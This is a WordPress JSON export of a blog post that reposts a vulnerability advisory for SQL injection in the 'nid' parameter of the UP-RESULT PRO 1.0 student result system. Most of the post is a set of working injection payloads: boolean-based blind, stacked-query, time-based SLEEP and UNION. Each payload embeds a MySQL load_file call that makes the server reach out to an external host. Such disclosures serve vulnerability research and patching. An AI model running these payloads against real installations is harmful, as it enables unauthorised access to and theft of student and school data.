{"id":59987,"date":"2024-10-30T09:05:59","date_gmt":"2024-10-30T06:05:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182359\/upresultpro10-sql.txt"},"modified":"2024-10-30T09:05:59","modified_gmt":"2024-10-30T06:05:59","slug":"up-result-pro-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/up-result-pro-1-0-sql-injection\/","title":{"rendered":"UP-RESULT PRO 1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: UP-RESULT[pro-1.0] Multiple-SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 10\/28\/2024<br \/>## Vendor: https:\/\/mayurik.com\/<br \/>## Software:<br \/>https:\/\/www.sourcecodester.com\/php\/15653\/best-student-result-management-system-project-source-code-php-and-mysql-free-download<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The `nid` parameter appears to be vulnerable to SQL injection attacks. The<br \/>payload &#8216;+(select load_file(&#8216;\\\\\\\\<br \/>p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\\\eej&#8217;))+&#8217; was<br \/>submitted in the nid parameter. This payload injects a SQL sub-query that<br \/>calls MySQL&#8217;s load_file function with a UNC file path that references a URL<br \/>on an external domain. The application interacted with that domain,<br \/>indicating that the injected SQL query was executed. The attacker can get<br \/>all sensitive information from this system when he attacks it online!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: nid (GET)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause (NOT)<br \/>Payload: nid=2&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\\\eej&#8217;))+&#8221; OR NOT<br \/>9142=9142 AND &#8216;bbjg&#8217;=&#8217;bbjg<\/p>\n<p>Type: stacked queries<br \/>Title: MySQL &gt;= 5.0.12 stacked queries (comment)<br \/>Payload: nid=2&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\\\eej&#8217;))+&#8221;;SELECT<br \/>SLEEP(7)#<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: nid=2&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\\\eej&#8217;))+&#8221; AND<br \/>(SELECT 9083 FROM (SELECT(SLEEP(7)))YMvG) AND &#8216;jiLE&#8217;=&#8217;jiLE<\/p>\n<p>Type: UNION query<br \/>Title: MySQL UNION query (NULL) &#8211; 3 columns<br \/>Payload: nid=2&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\\\eej&#8217;))+&#8221; UNION ALL<br \/>SELECT<br \/>NULL,CONCAT(0x7178767871,0x6467686f7670716c49467649584a4744416775554961485747416c4b724977454f75787267707268,0x7162627a71),NULL,NULL#<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/www.patreon.com\/posts\/up-result-pro-1-114856979)<\/p>\n<p>## Demo PoC:<br \/>[href](<br \/>https:\/\/www.nu11secur1ty.com\/2024\/10\/up-resultpro-10-multiple-sqli.html)<\/p>\n<p>## Time spent:<br \/>01:27:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: UP-RESULT[pro-1.0] Multiple-SQLi## Author: nu11secur1ty## Date: 10\/28\/2024## Vendor: https:\/\/mayurik.com\/## Software:https:\/\/www.sourcecodester.com\/php\/15653\/best-student-result-management-system-project-source-code-php-and-mysql-free-download## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The `nid` parameter appears to be vulnerable to SQL injection attacks. Thepayload &#8216;+(select load_file(&#8216;\\\\\\\\p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\\\eej&#8217;))+&#8217; wassubmitted in the nid parameter. This payload injects a SQL sub-query thatcalls MySQL&#8217;s load_file function with a UNC file path that references a URLon an external domain. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59987","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59987","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59987"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59987\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59987"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59987"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59987"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}